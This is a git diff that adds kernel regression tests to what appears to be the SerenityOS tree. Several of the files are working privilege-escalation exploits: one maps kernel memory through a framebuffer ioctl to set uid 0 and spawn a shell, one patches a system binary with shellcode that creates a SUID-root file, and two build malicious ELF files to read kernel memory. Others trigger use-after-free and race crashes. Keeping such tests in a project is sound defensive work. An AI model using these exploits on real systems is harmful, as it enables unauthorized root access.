summaryrefslogtreecommitdiff
path: root/Userland/Tests/Kernel
diff options
context:
space:
mode:
Diffstat (limited to 'Userland/Tests/Kernel')
-rw-r--r--Userland/Tests/Kernel/CMakeLists.txt15
-rw-r--r--Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp31
-rw-r--r--Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp92
-rw-r--r--Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp46
-rw-r--r--Userland/Tests/Kernel/elf-execve-mmap-race.cpp129
-rw-r--r--Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp106
-rw-r--r--Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp70
-rw-r--r--Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp155
-rw-r--r--Userland/Tests/Kernel/null-deref-close-during-select.cpp36
-rw-r--r--Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp21
-rw-r--r--Userland/Tests/Kernel/path-resolution-race.cpp16
-rw-r--r--Userland/Tests/Kernel/pledge-test-failures.cpp25
-rw-r--r--Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp71
-rw-r--r--Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp30
14 files changed, 843 insertions, 0 deletions
diff --git a/Userland/Tests/Kernel/CMakeLists.txt b/Userland/Tests/Kernel/CMakeLists.txt
new file mode 100644
index 0000000000..df6ebb70ac
--- /dev/null
+++ b/Userland/Tests/Kernel/CMakeLists.txt
@@ -0,0 +1,15 @@
+file(GLOB CMD_SOURCES "*.cpp")
+
+foreach(CMD_SRC ${CMD_SOURCES})
+ get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
+ add_executable(${CMD_NAME} ${CMD_SRC})
+ target_link_libraries(${CMD_NAME} LibCore)
+ install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/Kernel)
+endforeach()
+
+target_link_libraries(elf-execve-mmap-race LibPthread)
+target_link_libraries(nanosleep-race-outbuf-munmap LibPthread)
+target_link_libraries(null-deref-close-during-select LibPthread)
+target_link_libraries(null-deref-crash-during-pthread_join LibPthread)
+target_link_libraries(uaf-close-while-blocked-in-read LibPthread)
+target_link_libraries(pthread-cond-timedwait-example LibPthread)
diff --git a/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp b/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp
new file mode 100644
index 0000000000..424f02633d
--- /dev/null
+++ b/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp
@@ -0,0 +1,31 @@
+#include <stdio.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <unistd.h>
+
+int main(int, char**)
+{
+ constexpr const char* path = "/tmp/foo";
+ int rc = symlink("bar", path);
+ if (rc < 0) {
+ perror("symlink");
+ return 1;
+ }
+
+ int fd = socket(AF_UNIX, SOCK_STREAM, 0);
+ if (fd < 0) {
+ perror("socket");
+ return 1;
+ }
+
+ struct sockaddr_un addr;
+ memset(&addr, 0, sizeof(addr));
+ addr.sun_family = AF_UNIX;
+ strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1);
+
+ rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
+ if (rc < 0 && errno == EADDRINUSE)
+ return 0;
+
+ return 1;
+}
diff --git a/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
new file mode 100644
index 0000000000..988860427a
--- /dev/null
+++ b/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
@@ -0,0 +1,92 @@
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+ int fd = open("/dev/fb0", O_RDWR);
+ if (fd < 0) {
+ perror("open");
+ return 1;
+ }
+
+ size_t width = 17825;
+ size_t height = 1000;
+ size_t pitch = width * 4;
+ size_t framebuffer_size_in_bytes = pitch * height * 2;
+
+ FBResolution original_resolution;
+ if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ FBResolution resolution;
+ resolution.width = width;
+ resolution.height = height;
+ resolution.pitch = pitch;
+
+ if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
+ if (ptr == MAP_FAILED) {
+ perror("mmap");
+ return 1;
+ }
+
+ printf("Success! Evil pointer: %p\n", ptr);
+
+ u8* base = &ptr[128 * MB];
+
+ uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
+ printf("base = %p\n", base);
+ printf("g_processes = %#08x\n", g_processes);
+
+ auto get_ptr = [&](uintptr_t value) -> void* {
+ value -= 0xc0000000;
+ return (void*)&base[value];
+ };
+
+ struct ProcessList {
+ uintptr_t head;
+ uintptr_t tail;
+ };
+
+ struct Process {
+ // 32 next
+ // 40 pid
+ // 44 uid
+ u8 dummy[32];
+ uintptr_t next;
+ u8 dummy2[4];
+ pid_t pid;
+ uid_t uid;
+ };
+
+ ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
+
+ Process* process = (Process*)get_ptr(process_list->head);
+
+ printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
+
+ if (process->pid == getpid()) {
+ printf("That's me! Let's become r00t!\n");
+ process->uid = 0;
+ }
+
+ if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ execl("/bin/sh", "sh", nullptr);
+
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp b/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp
new file mode 100644
index 0000000000..eed491e27b
--- /dev/null
+++ b/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <assert.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main(int, char**)
+{
+ int rc = fcntl(0, -42);
+ if (rc != -1) {
+ printf("FAIL: rc was %d, instead of -1\n", rc);
+ return 1;
+ } else if (errno != EINVAL) {
+ printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
+ return 1;
+ } else {
+ printf("PASS\n");
+ }
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/elf-execve-mmap-race.cpp b/Userland/Tests/Kernel/elf-execve-mmap-race.cpp
new file mode 100644
index 0000000000..05fed4f991
--- /dev/null
+++ b/Userland/Tests/Kernel/elf-execve-mmap-race.cpp
@@ -0,0 +1,129 @@
+#include <LibELF/exec_elf.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+volatile bool hax = false;
+
+int main()
+{
+ char buffer[16384];
+
+ auto& header = *(Elf32_Ehdr*)buffer;
+ header.e_ident[EI_MAG0] = ELFMAG0;
+ header.e_ident[EI_MAG1] = ELFMAG1;
+ header.e_ident[EI_MAG2] = ELFMAG2;
+ header.e_ident[EI_MAG3] = ELFMAG3;
+ header.e_ident[EI_CLASS] = ELFCLASS32;
+ header.e_ident[EI_DATA] = ELFDATA2LSB;
+ header.e_ident[EI_VERSION] = EV_CURRENT;
+ header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
+ header.e_ident[EI_ABIVERSION] = 0;
+ header.e_type = ET_EXEC;
+ header.e_version = EV_CURRENT;
+ header.e_ehsize = sizeof(Elf32_Ehdr);
+ header.e_machine = EM_386;
+ header.e_shentsize = sizeof(Elf32_Shdr);
+
+ header.e_phnum = 1;
+ header.e_phoff = 52;
+ header.e_phentsize = sizeof(Elf32_Phdr);
+
+ auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
+ ph[0].p_vaddr = 0x20000000;
+ ph[0].p_type = PT_LOAD;
+ ph[0].p_filesz = sizeof(buffer);
+ ph[0].p_memsz = sizeof(buffer);
+ ph[0].p_flags = PF_R | PF_W;
+ ph[0].p_align = PAGE_SIZE;
+
+ header.e_shnum = 3;
+ header.e_shoff = 1024;
+
+ u32 secret_address = 0x00184658;
+
+ auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
+ sh[0].sh_type = SHT_SYMTAB;
+ sh[0].sh_offset = 2048;
+ sh[0].sh_entsize = sizeof(Elf32_Sym);
+ sh[0].sh_size = 1 * sizeof(Elf32_Sym);
+
+ sh[1].sh_type = SHT_STRTAB;
+ sh[1].sh_offset = secret_address - 0x01001000;
+ sh[1].sh_entsize = 0;
+ sh[1].sh_size = 1024;
+
+ sh[2].sh_type = SHT_STRTAB;
+ sh[2].sh_offset = 4096;
+ sh[2].sh_entsize = 0;
+ sh[2].sh_size = 1024;
+ header.e_shstrndx = 2;
+
+ auto* sym = (Elf32_Sym*)(&buffer[2048]);
+ sym[0].st_value = 0;
+ sym[0].st_name = 0;
+
+ header.e_entry = 0;
+
+ int fd = open("x", O_RDWR | O_CREAT, 0777);
+ if (fd < 0) {
+ perror("open");
+ return 1;
+ }
+
+ int nwritten = write(fd, buffer, sizeof(buffer));
+ if (nwritten < 0) {
+ perror("write");
+ return 1;
+ }
+
+ sync();
+
+ auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
+ if (mapped == MAP_FAILED) {
+ perror("mmap");
+ return 1;
+ }
+
+ auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
+
+ pthread_attr_t attrs;
+ pthread_attr_init(&attrs);
+ sched_param high_prio { 99 };
+ pthread_attr_setschedparam(&attrs, &high_prio);
+
+ pthread_t t;
+ pthread_create(
+ &t, &attrs, [](void* ctx) -> void* {
+ auto& ph = *(volatile Elf32_Phdr*)ctx;
+ for (;;) {
+ if (!hax)
+ ph.p_offset = 0x60000000;
+ else
+ ph.p_offset = 0;
+ hax = !hax;
+ usleep(1);
+ }
+ return nullptr;
+ },
+ &writable_program_headers[0]);
+
+ for (;;) {
+
+ if (!fork()) {
+ try_again:
+ printf("exec\n");
+ if (execl("/home/anon/x", "x", nullptr) < 0) {
+ }
+ goto try_again;
+ }
+
+ printf("waitpid\n");
+ waitpid(-1, nullptr, 0);
+ }
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp b/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
new file mode 100644
index 0000000000..8ef6604eba
--- /dev/null
+++ b/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
@@ -0,0 +1,106 @@
+#include <LibELF/exec_elf.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+asm("haxcode:\n"
+ "1: jmp 1b\n"
+ "haxcode_end:\n");
+
+extern "C" void haxcode();
+extern "C" void haxcode_end();
+
+int main()
+{
+ char buffer[16384];
+
+ auto& header = *(Elf32_Ehdr*)buffer;
+ header.e_ident[EI_MAG0] = ELFMAG0;
+ header.e_ident[EI_MAG1] = ELFMAG1;
+ header.e_ident[EI_MAG2] = ELFMAG2;
+ header.e_ident[EI_MAG3] = ELFMAG3;
+ header.e_ident[EI_CLASS] = ELFCLASS32;
+ header.e_ident[EI_DATA] = ELFDATA2LSB;
+ header.e_ident[EI_VERSION] = EV_CURRENT;
+ header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
+ header.e_ident[EI_ABIVERSION] = 0;
+ header.e_type = ET_EXEC;
+ header.e_version = EV_CURRENT;
+ header.e_ehsize = sizeof(Elf32_Ehdr);
+ header.e_machine = EM_386;
+ header.e_shentsize = sizeof(Elf32_Shdr);
+
+ header.e_phnum = 1;
+ header.e_phoff = 52;
+ header.e_phentsize = sizeof(Elf32_Phdr);
+
+ auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
+ ph[0].p_vaddr = 0x20000000;
+ ph[0].p_type = PT_LOAD;
+ ph[0].p_filesz = sizeof(buffer);
+ ph[0].p_memsz = sizeof(buffer);
+ ph[0].p_flags = PF_R | PF_X;
+ ph[0].p_align = PAGE_SIZE;
+
+ header.e_shnum = 3;
+ header.e_shoff = 1024;
+
+ u32 secret_address = 0x00184658;
+
+ auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
+ sh[0].sh_type = SHT_SYMTAB;
+ sh[0].sh_offset = 2048;
+ sh[0].sh_entsize = sizeof(Elf32_Sym);
+ sh[0].sh_size = 2 * sizeof(Elf32_Sym);
+
+ sh[1].sh_type = SHT_STRTAB;
+ sh[1].sh_offset = secret_address - 0x01001000;
+ sh[1].sh_entsize = 0;
+ sh[1].sh_size = 1024;
+
+ sh[2].sh_type = SHT_STRTAB;
+ sh[2].sh_offset = 4096;
+ sh[2].sh_entsize = 0;
+ sh[2].sh_size = 1024;
+ header.e_shstrndx = 2;
+
+ auto* sym = (Elf32_Sym*)(&buffer[2048]);
+ sym[0].st_value = 0x20002000;
+ sym[0].st_name = 0;
+
+ sym[1].st_value = 0x30000000;
+ sym[1].st_name = 0;
+
+ auto* strtab = (char*)&buffer[3072];
+ strcpy(strtab, "sneaky!");
+
+ auto* shstrtab = (char*)&buffer[4096];
+ strcpy(shstrtab, ".strtab");
+
+ auto* code = &buffer[8192];
+ size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
+ printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
+ memcpy(code, (void*)haxcode, haxcode_size);
+
+ header.e_entry = 0x20000000 + 8192;
+
+ int fd = open("x", O_RDWR | O_CREAT, 0777);
+ if (fd < 0) {
+ perror("open");
+ return 1;
+ }
+
+ int nwritten = write(fd, buffer, sizeof(buffer));
+ if (nwritten < 0) {
+ perror("write");
+ return 1;
+ }
+
+ if (execl("/home/anon/x", "x", nullptr) < 0) {
+ perror("execl");
+ return 1;
+ }
+
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp b/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp
new file mode 100644
index 0000000000..90a8feeb4e
--- /dev/null
+++ b/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp
@@ -0,0 +1,70 @@
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+ int fd = open("/bin/SystemServer", O_RDONLY);
+ if (fd < 0) {
+ perror("open");
+ return 1;
+ }
+ u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
+ if (ptr == MAP_FAILED) {
+ perror("mmap");
+ return 1;
+ }
+
+ if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
+ perror("mprotect");
+ return 1;
+ }
+
+ /*
+ *
+ * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
+ * It does two things:
+ *
+ * chown ("/home/anon/own", 0, 0);
+ * chmod ("/home/anon/own", 04755);
+ *
+ * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
+ *
+ */
+
+#if 0
+ [bits 32]
+ [org 0x0804b111]
+ jmp $+17
+ path:
+ db "/home/anon/own", 0
+ mov eax, 79
+ mov edx, path
+ mov ecx, 0
+ mov ebx, 0
+ int 0x82
+ mov eax, 67
+ mov edx, path
+ mov ecx, 15
+ mov ebx, 2541
+ int 0x82
+ ret
+#endif
+
+ const u8 payload[] = {
+ 0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
+ 0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
+ 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
+ 0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
+ 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
+ 0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
+ };
+
+ memcpy(&ptr[0x3111], payload, sizeof(payload));
+
+ printf("ok\n");
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp b/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
new file mode 100644
index 0000000000..fd043ca570
--- /dev/null
+++ b/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
@@ -0,0 +1,155 @@
+/*
+ * Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <pthread.h>
+#include <assert.h>
+#include <signal.h>
+#include <stdio.h>
+#include <time.h>
+#include <unistd.h>
+
+static void signal_printer(int)
+{
+ // no-op
+}
+
+typedef struct yank_shared_t {
+ timespec* remaining_sleep;
+ // TODO: Be nice and use thread ID
+ //pthread_t sleeper_thread;
+} yank_shared_t;
+
+static void* yanker_fn(void* shared_)
+{
+ yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
+
+ timespec requested_sleep = { 1, 0 };
+ int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
+ if (rc != 0) {
+ printf("Yanker: Failed during sleep: %d\n", rc);
+ return nullptr;
+ }
+
+ delete shared->remaining_sleep; // T2
+
+ // Send SIGUSR1.
+
+ // Use pthread:
+ // pthread_kill(somewhere, SIGUSR1);
+ // But wait! pthread_kill isn't implemented yet, and therefore causes
+ // a linker error. It also looks like the corresponding syscall is missing.
+
+ // Use normal IPC syscall:
+ // kill(getpid(), SIGUSR1);
+ // But wait! If destination_pid == own_pid, then the signal is sent
+ // to the calling thread, *no matter what*.
+
+ // So, we have to go the very ugly route of fork():
+ // (Thank goodness this is only a demo of a kernel bug!)
+ pid_t pid_to_kill = getpid();
+
+ pid_t child_pid = fork();
+ if (child_pid < 0) {
+ printf("Yanker: Fork failed: %d\n", child_pid);
+ pthread_exit(nullptr); // See below
+ return nullptr;
+ }
+
+ if (child_pid > 0) {
+ // Success. Terminate quickly. T3
+ // FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
+ // Workaround: Exit manually.
+ pthread_exit(nullptr);
+ return nullptr;
+ }
+
+ // Give parent *thread* a moment to die.
+ requested_sleep = { 1, 0 };
+ rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
+ if (rc != 0) {
+ printf("Yanker-child: Failed during sleep: %d\n", rc);
+ return nullptr;
+ }
+
+ // Prod the parent *process*
+ kill(pid_to_kill, SIGUSR1); // T4
+
+ // Wait a moment, to ensure the log output is as well-separated as possible.
+ requested_sleep = { 2, 0 };
+ rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
+ if (rc != 0) {
+ printf("Yanker-child: Failed during after-sleep: %d\n", rc);
+ return nullptr;
+ }
+
+ pthread_exit(nullptr);
+ assert(false);
+ // FIXME: return nullptr;
+}
+
+int main()
+{
+ // Chronological order:
+ // T0: Main thread allocates region for the outvalue of clock_nanosleep
+ // T1: Main thread enters clock_nanosleep
+ // T2: Side thread deallocates that region
+ // T3: Side thread dies
+ // T4: A different process sends SIGUSR1, waking up the main thread,
+ // forcing the kernel to write to the deallocated Region.
+
+ // I'm sorry that both a side *thread* and a side *process* are necessary.
+ // Maybe in the future this test can be simplified, see above.
+
+ yank_shared_t shared = { nullptr };
+ shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
+
+ pthread_t yanker_thread;
+ int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
+ if (rc != 0) {
+ perror("pthread");
+ printf("FAIL\n");
+ return 1;
+ }
+
+ // Set an action for SIGUSR1, so that the sleep can be interrupted:
+ signal(SIGUSR1, signal_printer);
+
+ // T1: Go to sleep.
+ const timespec requested_sleep = { 3, 0 };
+ rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
+ // Now we are beyond T4.
+
+ if (rc == 0) {
+ // We somehow weren't interrupted. Bad.
+ printf("Not interrupted.\n");
+ printf("FAIL\n");
+ return 1;
+ }
+
+ // nanosleep was interrupted and the kernel didn't crash. Good!
+ printf("PASS\n");
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/null-deref-close-during-select.cpp b/Userland/Tests/Kernel/null-deref-close-during-select.cpp
new file mode 100644
index 0000000000..907c650616
--- /dev/null
+++ b/Userland/Tests/Kernel/null-deref-close-during-select.cpp
@@ -0,0 +1,36 @@
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/select.h>
+#include <unistd.h>
+
+int pipefds[2];
+
+int main(int, char**)
+{
+ pipe(pipefds);
+
+ pthread_t tid;
+ pthread_create(
+ &tid, nullptr, [](void*) -> void* {
+ sleep(1);
+ printf("ST: close()\n");
+ close(pipefds[1]);
+ pthread_exit(nullptr);
+ return nullptr;
+ },
+ nullptr);
+
+ fd_set rfds;
+ FD_ZERO(&rfds);
+ FD_SET(pipefds[1], &rfds);
+
+ printf("MT: select()\n");
+ int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
+ if (rc < 0) {
+ perror("select");
+ return 1;
+ }
+
+ printf("ok\n");
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp b/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp
new file mode 100644
index 0000000000..409cbe90f3
--- /dev/null
+++ b/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp
@@ -0,0 +1,21 @@
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/select.h>
+#include <unistd.h>
+
+int main(int, char**)
+{
+ pthread_t tid;
+ pthread_create(
+ &tid, nullptr, [](void*) -> void* {
+ sleep(1);
+ asm volatile("ud2");
+ return nullptr;
+ },
+ nullptr);
+
+ pthread_join(tid, nullptr);
+
+ printf("ok\n");
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/path-resolution-race.cpp b/Userland/Tests/Kernel/path-resolution-race.cpp
new file mode 100644
index 0000000000..804fbc1b52
--- /dev/null
+++ b/Userland/Tests/Kernel/path-resolution-race.cpp
@@ -0,0 +1,16 @@
+#include <unistd.h>
+#include <sys/stat.h>
+
+int main()
+{
+ if (!fork()) {
+ for (;;) {
+ mkdir("/tmp/x", 0666);
+ rmdir("/tmp/x");
+ }
+ }
+ for (;;) {
+ chdir("/tmp/x");
+ }
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/pledge-test-failures.cpp b/Userland/Tests/Kernel/pledge-test-failures.cpp
new file mode 100644
index 0000000000..38c6742a07
--- /dev/null
+++ b/Userland/Tests/Kernel/pledge-test-failures.cpp
@@ -0,0 +1,25 @@
+#include <stdio.h>
+#include <unistd.h>
+
+int main()
+{
+ int res = pledge("stdio unix rpath", "stdio");
+ if (res < 0) {
+ perror("pledge");
+ return 1;
+ }
+
+ res = pledge("stdio unix", "stdio unix");
+ if (res >= 0) {
+ fprintf(stderr, "second pledge should have failed\n");
+ return 1;
+ }
+
+ res = pledge("stdio rpath", "stdio");
+ if (res < 0) {
+ perror("pledge");
+ return 1;
+ }
+
+ return 0;
+}
diff --git a/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp b/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp
new file mode 100644
index 0000000000..2a5e2109c0
--- /dev/null
+++ b/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp
@@ -0,0 +1,71 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <errno.h>
+#include <unistd.h>
+#include <ctime>
+#include <cstring>
+#include <cassert>
+
+struct worker_t
+{
+ const char* name;
+ int count;
+ pthread_t thread;
+ pthread_mutex_t lock;
+ pthread_cond_t cond;
+ long int wait_time;
+};
+
+void* run_worker(void* args)
+{
+ struct timespec time_to_wait = {0, 0};
+ worker_t* worker = (worker_t*)args;
+ worker->count = 0;
+
+ while (worker->count < 25) {
+ time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
+ pthread_mutex_lock(&worker->lock);
+ int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
+
+ // Validate return code is always timed out.
+ assert(rc == -1);
+ assert(errno == ETIMEDOUT);
+
+ worker->count++;
+ printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
+ pthread_mutex_unlock(&worker->lock);
+ }
+
+ return nullptr;
+}
+
+void init_worker(worker_t* worker, const char* name, long int wait_time)
+{
+ worker->name = name;
+ worker->wait_time = wait_time;
+
+ pthread_attr_t attr;
+ pthread_attr_init(&attr);
+ pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
+
+ pthread_mutex_init(&worker->lock, nullptr);
+ pthread_cond_init(&worker->cond, nullptr);
+ pthread_create(&worker->thread, &attr, &run_worker, (void*) worker);
+
+ pthread_attr_destroy(&attr);
+}
+
+int main()
+{
+ worker_t worker_a;
+ init_worker(&worker_a, "A", 2L);
+
+ worker_t worker_b;
+ init_worker(&worker_b, "B", 4L);
+
+ pthread_join(worker_a.thread, nullptr);
+ pthread_join(worker_b.thread, nullptr);
+
+ return EXIT_SUCCESS;
+}
diff --git a/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp b/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp
new file mode 100644
index 0000000000..b75e0bbbaa
--- /dev/null
+++ b/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp
@@ -0,0 +1,30 @@
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+int pipefds[2];
+
+int main(int, char**)
+{
+ pipe(pipefds);
+
+ pthread_t tid;
+ pthread_create(
+ &tid, nullptr, [](void*) -> void* {
+ sleep(1);
+ printf("Second thread closing pipes!\n");
+ close(pipefds[0]);
+ close(pipefds[1]);
+ pthread_exit(nullptr);
+ return nullptr;
+ },
+ nullptr);
+
+ printf("First thread doing a blocking read from pipe...\n");
+ char buffer[16];
+ int nread = read(pipefds[0], buffer, sizeof(buffer));
+ printf("Ok, read %d bytes from pipe\n", nread);
+
+ return 0;
+}